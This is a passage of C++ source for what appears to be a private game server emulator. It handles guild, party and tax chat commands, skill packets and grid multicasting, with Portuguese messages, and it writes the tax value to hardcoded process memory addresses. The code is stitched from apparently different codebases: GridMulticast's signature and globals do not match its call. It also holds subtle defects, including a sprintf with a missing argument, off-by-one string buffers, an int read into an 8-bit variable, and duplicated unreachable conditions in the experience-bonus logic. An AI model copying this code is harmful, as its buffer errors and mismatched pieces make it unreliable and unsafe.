sPlayer->Status.maxHP, sPlayer->Status.maxMP); SendClientMessage(cId, szMsg1); SendClientMessage(cId, szMsg2); SendClientMessage(cId, szMsg3); SendClientMessage(cId, szMsg4); SendClientMessage(cId, szMsg5); return; } SendClientMessage(p->Header.ClientId, "Comando não identificado."); return; } else if(!strcmp(p->Cmd, "King") || !strcmp(p->Cmd, "king") || !strcmp(p->Cmd, "kingdom") || !strcmp(p->Cmd, "Kingdom")) { *pRetn = true; SendClientMessage(cId, "Você foi teleportado."); if(player->CapeInfo == 7) DoTeleport(cId, 1747, 1574); else if(player->CapeInfo == 8) DoTeleport(cId, 1747, 1880); else DoTeleport(cId, 1705, 1726); } else if(!strcmp(p->Cmd, "kickparty")) { *pRetn = true; char name[12]; if(sscanf(p->Arg, "%12s", &name) == 1) { if(player->Leader || player->Leader == -1) { SendClientMessage(cId, "Necessário ser lider do grupo para expulsar."); return; } INT16 mCid = GetUserByName(name); if(!mCid || mCid < 0 || mCid > 750) { *pRetn = false; return; } else if(Users[mCid].Status != 22) { *pRetn = false; return; } if(mCid == cId) { SendClientMessage(cId, "Impossível se expulsar."); return; } for(int i = 0; i < 12; i++) { if(player->PartyList[i] > 0 && player->PartyList[i] < 750 && Users[player->PartyList[i]].Status == 22) { st_Mob *mob = GetMobFromIndex(player->PartyList[i]); if(!strcmp(mob->Name, name)) { RemoveParty(player->PartyList[i]); return; } } } SendClientMessage(cId, "Jogador não faz parte do grupo."); return; } SendClientMessage(cId, "Necessário digitar o nome do player a ser expulso."); return; } else if(!strcmp(p->Cmd, "subcreate")) { *pRetn = true; char Leader[12], Sub[16]; int ret = sscanf(p->Arg, "%12s %16s", &Leader, &Sub); if(ret != 2) { *pRetn = false; return; } INT16 lider = GetUserByName(Leader), sub = GetUserByName(Sub); if(lider < 0 || lider > 750 || sub < 0 || sub > 750) { SendClientMessage(lider, "Um dos dois jogadores não está conectado."); return; } if(Users[lider].Status != 22 || Users[sub].Status != 22) return; if(lider != p->Header.ClientId) return; st_Mob *leader = GetMobFromIndex(lider), *subLead = GetMobFromIndex(sub); if(!strcmp(subLead->Name, leader->Name)) return; if(subLead->GuildIndex != leader->GuildIndex) { SendClientMessage(cId, "Necessário recrutar o jogador antes de nomeá-lo sublider."); return; } if(subLead->Equip[12].Index >= 526 && subLead->Equip[12].Index <= 528) { SendClientMessage(lider, "Jogador já é sublider."); return; } INT8 i = 0; while(i < 3) { if(!strcmp(Guilds[leader->GuildIndex].SubLiderName[i], "")) break; i++; } if(i >= 3) { SendClientMessage(lider, "Máximo de 3 Sublideres por guild."); return; } strncpy(Guilds[leader->GuildIndex].SubLiderName[i], Sub, 16); subLead->Equip[12].Index = 526 + i; SendItem(sub, EQUIP, 12, &subLead->Equip[12]); SendClientMessage(lider, "Jogador recrutado com sucesso."); SendClientMessage(sub, "Você foi recrutado."); UpdateMGuildInfo(leader->GuildIndex); char szMsg[120]; sprintf(szMsg, "%s é o mais novo sublider !"); SendGuildChat(leader->GuildIndex, szMsg); return; } else if(!strcmp(p->Cmd, "gtax")) { *pRetn = true; if(player->Equip[12].Index != 509 || !player->GuildIndex) { SendClientMessage(cId, "Necessário ser lider de guild para usar este comando."); return; } int CityId = player->Info.CityID; if(War.Owner[CityId] != Guilds[player->GuildIndex].GuildID) { SendClientMessage(p->Header.ClientId, "Necessário ser dono da cidade para definir a taixa de imposto."); return; } INT8 Tax = 0; if(sscanf(p->Arg, "%d", &Tax) != 1) { SendClientMessage(cId, "Digite uma taixa válida."); return; } if(Tax < 0 || Tax > 25) { SendClientMessage(cId, "Taixa deve estar entre 0 e 25 por cento."); return; } static const int CityIdTax[4] = {0x004C7C08, 0x004C7C58, 0x004C7CA8, 0x004C7CF8}; *(INT32*)CityIdTax[CityId] = Tax; char szMsg[108]; sprintf(szMsg, "Taixa definida como %d.", Tax); SendClientMessage(cId, szMsg); War.Tax[CityId] = Tax; return; } else if(!stricmp(p->Cmd, "Sair")) { *pRetn = true; if(!player->GuildIndex || !player->Equip[12].Index) { SendClientMessage(cId, "Necessário estar em guild para sair."); return; } if(player->Equip[12].Index == 509) { SendClientMessage(cId, "Transfira a guild antes de sair."); return; } else if(player->Equip[12].Index >= 526 && player->Equip[12].Index <= 528) { for(int i = 0; i < 3; i++) if(!stricmp(player->Name, Guilds[player->GuildIndex].SubLiderName[i])) strncpy(Guilds[player->GuildIndex].SubLiderName[i], "", 16); } memset(&player->Equip[12], 0x0, sizeof st_Item); SendItem(cId, EQUIP, 12, &player->Equip[12]); Guilds[player->GuildIndex].Members--; player->GuildIndex = 0; SendClientMessage(cId, "Saiu da Guild com sucesso."); return; } else if(!stricmp(p->Cmd, "transferir")) { *pRetn = true; if(!player->GuildIndex || !player->Equip[12].Index) { SendClientMessage(cId, "Necessário possuir guild antes de transferí-la."); return; } else if(!strcmp(p->Arg, "")) { SendClientMessage(cId, "Digite o nome do novo líder."); return; } else if(player->Equip[12].Index != 509 || strcmp(player->Name, Guilds[player->GuildIndex].LiderName)) { SendClientMessage(cId, "Necessário ser o líder para usar este comando."); return; } INT16 ncId = GetUserByName(p->Arg); if(!ncId || ncId < 0 || ncId > 750 || Users[ncId].Status != 22) { SendClientMessage(cId, "Necessário que o outro jogador esteja online."); return; } st_Mob *mob = GetMobFromIndex(ncId); if(mob->GuildIndex != player->GuildIndex) { SendClientMessage(cId, "O novo líder deve ser de sua guild."); return; } else if(!Guilds[player->GuildIndex].transfer) { // Essa parte serve para fazermos um sistema de confirmação da transferência Guilds[player->GuildIndex].transfer = true; strncpy(Guilds[player->GuildIndex].NewLiderName, mob->Name, 16); Guilds[player->GuildIndex].confirmTransfer = 30; SendClientMessage(cId, "Deseja mesmo transferir a guild? Caso sim, use o mesmo comando novamente."); return; } else if(!Guilds[player->GuildIndex].confirmTransfer) { SendClientMessage(cId, "Tempo de confirmação esgotado."); return; } else if(strcmp(mob->Name, Guilds[player->GuildIndex].NewLiderName)) { SendClientMessage(cId, "Confirmação incorreta."); return; } if(isSubLider(mob->Name, player->GuildIndex)) { for(int i = 0; i < 3; i++) if(!strcmp(mob->Name, Guilds[player->GuildIndex].SubLiderName[i])) strncpy(Guilds[player->GuildIndex].SubLiderName[i], "", 16); } strncpy(Guilds[player->GuildIndex].LiderName, Guilds[player->GuildIndex].NewLiderName, 16); memcpy(&mob->GuildIndex, &player->GuildIndex, sizeof UINT16); memcpy(&mob->GuildMemberType, &player->GuildMemberType, sizeof INT8); memcpy(&mob->Equip[12], &player->Equip[12], sizeof st_Item); player->Equip[12].Index = 508; SendItem(cId, EQUIP, 12, &player->Equip[12]); SendItem(ncId, EQUIP, 12, &mob->Equip[12]); char szMsg[120]; sprintf(szMsg, "Jogador %s é o novo lider da guild !!", mob->Name); for(int i = 0; i < MAX_PLAYER; i++) { st_Mob *p = GetMobFromIndex(i); if(p->GuildIndex == mob->GuildIndex) sD1D(0x7530, i, szMsg, 0xFF00BFFF); } SendClientMessage(cId, szMsg); SendClientMsg(ncId, "Você acaba de se tornar líder da guild %s", Guilds[mob->GuildIndex].GuildName); return; } else if(!stricmp(p->Cmd, "Criar")) { *pRetn = true; if(player->GuildIndex || player->Equip[12].Index) { SendClientMessage(cId, "Saia de sua guild atual para poder criar uma nova."); return; } else if(!strcmp(p->Arg, "")) { SendClientMessage(p->Header.ClientId, "Necessário digitar o nome da guild."); return; } else if(strlen(p->Arg) < 4 || strlen(p->Arg) > 16) { SendClientMessage(cId, "Nome deve ter entre 4 e 16 carácteres."); return; } else if(player->Gold < 100000000) { SendClientMessage(cId, "São necessários 100.000.000 (Cem Milhões) de gold para criação da guild."); return; } for(int e = 0; e < 0xFFFF; e++) { // Loop necessário, mesmo sendo paia dois loops até 0xFFFF, pq é necessário verificar se o nome é igual. if(!strcmp(p->Arg, Guilds[e].GuildName)) { SendClientMessage(cId, "Este nome já está sendo utilizado por outra guild."); //SendLog(Users[cId].Username, "%s tentou criar guild %s, já existente.", player->Name, p->Arg); return; } } int i = 0; while(i <= 0xFFFF) { if(!strcmp(Guilds[i].GuildName, "")) // Para o laço e deixa i como a guild atual break; // Sendo assim, depois deste laço basta acessar: Guilds[i].info if(i == 0xFFFF) { SendClientMessage(p->Header.ClientId, "Lamentamos, número máximo de guilds atingido."); return; } i++; } strncpy(Guilds[i].GuildName, p->Arg, 20); strncpy(Guilds[i].LiderName, player->Name, 16); for(int e = 0; e < 3; e++) strncpy(Guilds[i].SubLiderName[e], "", 16); GetCurScore_CapeInfo(player); Guilds[i].GuildID = i; Guilds[i].Kingdom = player->CapeInfo; Guilds[i].Members = 1; FILE *pFile = NULL; fopen_s(&pFile, "Guilds.txt", "a"); if(pFile) fprintf(pFile, "0 0 %d %s\n", Guilds[i].GuildID, Guilds[i].GuildName); player->GuildIndex = i; player->GuildMemberType = 1; player->Equip[12].Index = 509; player->Equip[12].EF1 = 56; player->Equip[12].EFV1 = i >> 8; player->Equip[12].EF2 = 57; player->Equip[12].EFV2 = i & 255; player->Equip[12].EF3 = 59; player->Equip[12].EFV3 = 0; player->Gold -= 100000000; SendItem(p->Header.ClientId, EQUIP, 12, &player->Equip[12]); SendScore(p->Header.ClientId); SendEtc(p->Header.ClientId); SaveGuilds(); UpdateGuildInfo(p->Header.ClientId); //SendLog(Users[cId].Username, "%s criou a guild %s.", player->Name, p->Arg); return; }
void OitavaHT(int ClientID, int OtherID) { st_Mob *player = (st_Mob*) GetMobFromIndex(ClientID); st_Mob *mob = (st_Mob*) GetMobFromIndex(OtherID); p36C p; memset(&p, 0, sizeof p36C); p.Header.ClientId = 30000; p.Header.Size = sizeof p36C; p.Header.PacketId = 0x36C; p.m_AffectedPosition.X = mob->TargetX; p.m_AffectedPosition.Y = mob->TargetY; p.m_AttackerPosition.X = player->TargetX; p.m_AttackerPosition.Y = player->TargetY; p.m_ClientId = ClientID; p.m_CurrentExp = player->Exp; p.m_FlagLocal = 1; p.m_Motion = -1; p.m_SkillId = 79; for(int i = 0;i < 8;i++) { INT32 parry = GetParryRate(mob, mob->Parry); INT32 randInterator = rand() % 1000; if(randInterator <= (parry / 2)) { p.m_Target[i].Index = OtherID; p.m_Target[i].Damage = -1; continue; } int RemoveDamage = BASE_GetDamage(player->Status.Attack, (OtherID <= MAX_PLAYER) ? (mob->Status.Defense << 1) : mob->Status.Defense, 0) / 2; int Damage = RemoveDamage; if(OtherID < 750) { RemoveDamage = Damage * 4 / 9; Damage = RemoveDamage; } Damage = HKD_ChangeDamage(OtherID, ClientID, RemoveDamage); if(mob->Status.curHP - Damage <= 0) { p.m_Target[i].Damage = Damage; p.m_Target[i].Index = OtherID; mob->Status.curHP = 0; Users[OtherID].Potion.CountHp = 0; break; } else { mob->Status.curHP -= Damage; Users[OtherID].Potion.CountHp -= Damage; } p.m_Target[i].Damage = Damage; p.m_Target[i].Index = OtherID; } p.m_CurrentMp = player->Status.curMP; GridMulticast(ClientID, player->TargetX, player->TargetY, &p); p.m_FlagLocal = 0; Sendpack((BYTE*)&p, ClientID, sizeof p36C); if(!mob->Status.curHP) MobKilled(OtherID, ClientID, 0, 0); SendScore(OtherID); }
void FixUseSkill(BYTE *m_PacketBuffer, bool* pRetn) { p39D_754 *p = (p39D_754*)m_PacketBuffer; INT16 cId = p->Header.ClientId; p754_SendAffect *oldp = (p754_SendAffect*)m_PacketBuffer; INT16 oldcId = oldp->Header.ClientId; st_Mob *player = GetMobFromIndex(oldcId); if(p->m_SkillId == 103) // Skill Kefra sem ser mob { *pRetn = true; CloseUser(cId); return; } else if(!p->m_SkillId) // Se não for skill return; if(p->Header.PacketId == 0x36C && p->m_SkillId == 79) { OitavaHT(cId, p->m_Target.Index); *pRetn = true; return; } switch(p->m_SkillId) { case 27: case 29: *(DWORD*)&m_PacketBuffer[12] = 0x0; break; case 31: // Renascimento { *pRetn = true; if(cId == p->m_Target.Index) return; else if(p->m_Target.Index < 0 || p->m_Target.Index > 750) return; bool HasOnGroup = false; if(player->Leader <= 0) // Lider do grupo ou sem grupo { for(int i = 0; i < 12; i++) { if(player->PartyList[i] == p->m_Target.Index) { HasOnGroup = true; break; } } } else if(player->Leader != -1) { st_Mob *leader = GetMobFromIndex(player->Leader); for(int i = 0; i < 12; i++) { if(leader->PartyList[i] == p->m_Target.Index) { HasOnGroup = true; break; } } } if(!HasOnGroup) return; st_Mob *deadPerson = GetMobFromIndex(p->m_Target.Index); if(deadPerson->Status.curHP > 0) return; if(!player->Status.curHP || !player->Status.curMP) return; deadPerson->Status.curHP = deadPerson->Status.maxHP / 2; deadPerson->Status.curMP = deadPerson->Status.maxMP / 2; deadPerson->bStatus.curHP = deadPerson->bStatus.maxHP / 2; deadPerson->bStatus.curMP = deadPerson->bStatus.maxMP / 2; Users[p->m_Target.Index].Potion.CountMp = deadPerson->Status.curMP; Users[p->m_Target.Index].Potion.CountHp = deadPerson->Status.curHP; player->Status.curMP = 0; player->bStatus.curMP = 0; Users[cId].Potion.CountMp = player->Status.curMP; GetCurrentScore(p->m_Target.Index); BASE_GetHpMp(deadPerson); SendScore(p->m_Target.Index); SendCreateMob(p->m_Target.Index, p->m_Target.Index, 1); DoTeleport(p->m_Target.Index, deadPerson->PosX, deadPerson->PosY); break; } case 56: case 57: case 58: case 59: case 60: case 61: case 62: case 63: { *pRetn = true; UINT8 summonId = p->m_SkillId - 56; static const UINT8 MobDivisor[8] = {31, 36, 42, 51, 63, 85, 127, 255}; if(!player->Leader || player->Leader == -1) { for(int i = 0; i < 12; i++) { if(player->PartyList[i] <= 0) continue; st_Mob *tmpMob = GetMobFromIndex(player->PartyList[i]); for(int e = 0; e < 8; e++) { if(tmpMob->Equip[0].Index == MobFaces[e]) { if(tmpMob->Summoner != p->Header.ClientId) return; RemoveParty(player->PartyList[i]); SendRemoveParty(player->Leader, player->PartyList[i]); } } } } else // Não é o lider do grupo { st_Mob *Lider = GetMobFromIndex(player->Leader); for(int i = 0;i<12;i++) { if(Lider->PartyList[i] == cId) continue; if(Lider->PartyList[i] <= 0) continue; st_Mob *tmpMob = (st_Mob*)GetMobFromIndex(Lider->PartyList[i]); for(int e = 0; e < 8; e++) { if(tmpMob->Equip[0].Index == MobFaces[e]) { if(tmpMob->Summoner != p->Header.ClientId) return; RemoveParty(Lider->PartyList[i]); SendRemoveParty(Lider->Leader, Lider->PartyList[i]); } } } } // Essa conta pega o número de mobs que a skill deve criar INT16 numMob = player->Status.Mastery[2] / MobDivisor[summonId]; if(!numMob) numMob += 1; for(int i = 0; i < numMob; i++) GenerateSummon(cId, summonId, 0); break; } case 64: case 66: case 68: case 70: case 71: { if(player->Equip[13].Index > 4151 && player->Equip[13].Index < 4159) { // Está de traje SendClientMessage(cId, "Impossível utilizar esta skill enquanto trajado."); *pRetn = true; return; } break; } ////case 98: // Vinha - Skill sephira //// CreateMob("Vinha", oldp->PositionFinal.X, oldp->PositionFinal.Y, "npc"); //// break; case 99: // Ressureição - Skill sephira { *pRetn = true; INT16 Level = player->bStatus.Level + 1; if(player->Equip[0].EFV2 > ARCH) Level += 200; INT8 resChances = Level / 5; if(wdBuffer[cId].Ingame.hasFailed) return; srand(time(NULL) / 5 * (rand() % 500) * 5); if(rand() % 100 <= resChances) { player->Status.curHP = player->Status.maxHP / 2; player->Status.curMP = player->Status.maxMP / 2; player->bStatus.curHP = player->bStatus.maxHP / 2; player->bStatus.curMP = player->bStatus.maxMP / 2; GetCurrentScore(cId); BASE_GetHpMp(player); SendScore(cId); SendCreateMob(cId, cId, 1); } else if(!wdBuffer[cId].Ingame.hasFailed) wdBuffer[cId].Ingame.hasFailed = 200; break; } case 102: // Soul - Melhor buff ever { *pRetn = true; if(player->Equip[0].EFV2 == ARCH) return; bool hasSoulOn = false; for(int i = 0; i < 16; i++) if(mBuffer[cId].Affects[i].Index == 29) { hasSoulOn = true; mBuffer[cId].Affects[i].Master = wdBuffer[cId].Chars[wdBuffer[cId].Ingame.LoggedMob].SoulInfo; mBuffer[cId].Affects[i].Time = 139; mBuffer[cId].Affects[i].Value = 4; break; } if(!hasSoulOn) { for(int i = 0; i < 16; i++) if(!mBuffer[cId].Affects[i].Index) { mBuffer[cId].Affects[i].Index = 29; mBuffer[cId].Affects[i].Master = wdBuffer[cId].Chars[wdBuffer[cId].Ingame.LoggedMob].SoulInfo; mBuffer[cId].Affects[i].Time = 139; mBuffer[cId].Affects[i].Value = 4; break; } } GetCurrentScore(cId); SendStats(cId); SendScore(cId); break; } } }
void GridMulticast(int tx, int ty, MSG_STANDARD *msg, int skip) { int SizeY = VIEWGRIDY; int SizeX = VIEWGRIDX; int StartX = tx - HALFGRIDX; int StartY = ty - HALFGRIDY; if (StartX + SizeX >= MAX_GRIDX) SizeX = SizeX - (StartX + SizeX - MAX_GRIDX); if (SizeY + StartY >= MAX_GRIDY) SizeY = SizeY - (StartY + SizeY - MAX_GRIDY); if (StartX < 0) { StartX = 0; SizeX = SizeX + StartX; } if (StartY < 0) { StartY = 0; SizeY = SizeY + StartY; } int sx1 = StartX; int sy1 = StartY; int sx2 = StartX + SizeX; int sy2 = StartY + SizeY; for (int y = sy1; y < sy2; y++) { for (int x = sx1; x < sx2; x++) { int tmob = pMobGrid[y][x]; if (tmob <= 0 || tmob == skip) continue; if (pMob[tmob].Mode == MOB_EMPTY) { int Unk = 0; continue; } if (msg != NULL && tmob < MAX_USER) { if (msg->Type == _MSG_CreateMob) { int xx = ((MSG_CreateMob*)msg)->PosX; int yy = ((MSG_CreateMob*)msg)->PosY; if(xx >= 896 && yy >= 1405 && xx <= 1150 && yy <= 1538) { STRUCT_ITEM hcitem; memset(&hcitem, 0, sizeof(STRUCT_ITEM)); hcitem.sIndex = 3505; ((MSG_CreateMob*)msg)->Equip[1] = BASE_VisualItemCode(&hcitem, 1); ((MSG_CreateMob*)msg)->AnctCode[1] = BASE_VisualAnctCode(&hcitem); hcitem.sIndex = 3999; ((MSG_CreateMob*)msg)->Equip[15] = BASE_VisualItemCode(&hcitem, 15); ((MSG_CreateMob*)msg)->AnctCode[15] = BASE_VisualAnctCode(&hcitem); } } if (msg->Type == _MSG_CNFMobKill) { ((MSG_CNFMobKill*)msg)->Exp = pMob[tmob].MOB.Exp; ((MSG_CNFMobKill*)msg)->Hold = pMob[tmob].extra.Hold; int Segment = pMob[tmob].CheckGetLevel(); if (Segment >= 1 && Segment <= 4) { if (Segment == 4) { SetCircletSubGod(tmob); SendClientMessage(tmob, g_pMessageStringTable[_NN_Level_Up]); if(pMob[tmob].extra.ClassMaster == MORTAL) DoItemLevel(tmob); } if (Segment == 3) SendClientMessage(tmob, g_pMessageStringTable[_NN_3_Quarters_Bonus]); if (Segment == 2) SendClientMessage(tmob, g_pMessageStringTable[_NN_2_Quarters_Bonus]); if (Segment == 1) SendClientMessage(tmob, g_pMessageStringTable[_NN_1_Quarters_Bonus]); SendScore(tmob); SendEmotion(tmob, 14, 3); if (Segment == 4) { SendEtc(tmob); int PKPoint = GetPKPoint(tmob) + 5; SetPKPoint(tmob, PKPoint); MSG_CreateMob sm_lupc; memset(&sm_lupc, 0, sizeof(MSG_CreateMob)); GetCreateMob(tmob, &sm_lupc); GridMulticast(pMob[tmob].TargetX, pMob[tmob].TargetY, (MSG_STANDARD*)&sm_lupc, 0); sprintf(temp, "lvl %s level up to %d", pMob[tmob].MOB.MobName, pMob[tmob].MOB.BaseScore.Level); Log(temp, pUser[tmob].AccountName, pUser[tmob].IP); } } } pUser[tmob].cSock.AddMessage((char*)msg, msg->Size); } } } }
void CheckQuarterByLevel(int ClientID, int earned) { MOB *player = (MOB*)GetMobFromIndex(ClientID); int exp = 0, next_exp = 0; if(player->Equip[0].EFV2 <= 2) exp = player->Exp, next_exp = exp_Mortal_Arch[player->bStatus.Level] - exp_Mortal_Arch[player->bStatus.Level-1]; else exp = player->Exp, next_exp = exp_Mortal_Arch[player->bStatus.Level] - exp_Mortal_Arch[player->bStatus.Level-1]; next_exp /= 4; if(player->Equip[0].EFV2 <= 2) { if((player->Exp < exp_Mortal_Arch[player->bStatus.Level-1]+next_exp)) { if(player->Exp + earned >= exp_Mortal_Arch[player->bStatus.Level-1]+next_exp) { SendClientMsg(ClientID, "Adquiriu 1/4 de bônus"); goto Level; } } else if((player->Exp < exp_Mortal_Arch[player->bStatus.Level-1]+next_exp)) { if(player->Exp + earned >= exp_Mortal_Arch[player->bStatus.Level - 1]+next_exp) { SendClientMsg(ClientID, "Adquiriu 2/4 de bônus"); goto Level; } } else if((player->Exp < exp_Mortal_Arch[player->bStatus.Level-1]+next_exp)) { if(player->Exp + earned >= exp_Mortal_Arch[player->bStatus.Level - 1]+next_exp) { SendClientMsg(ClientID, "Adquiriu 3/4 de bônus"); goto Level; } } } else { if((player->Exp < exp_Cele_Sub[player->bStatus.Level-1]+next_exp)) { if(player->Exp + earned >= exp_Cele_Sub[player->bStatus.Level-1]+next_exp) { SendClientMsg(ClientID, "Adquiriu 3/4 de bônus"); goto Level; } } else if((player->Exp < exp_Cele_Sub[player->bStatus.Level-1]+next_exp)) { if(player->Exp + earned >= exp_Cele_Sub[player->bStatus.Level - 1]+next_exp*1) { SendClientMsg(ClientID, "Adquiriu 2/4 de bônus"); goto Level; } } else if((player->Exp < exp_Cele_Sub[player->bStatus.Level-1]+next_exp)) { if(player->Exp + earned >= exp_Cele_Sub[player->bStatus.Level - 1]+next_exp) { SendClientMsg(ClientID, "Adquiriu 1/4 de bônus"); goto Level; } } } Level: player->Status.curHP = player->Status.maxHP; player->Status.curMP = player->Status.maxMP; SendScore(ClientID); SendStats(ClientID); GetCurrentScore(ClientID); }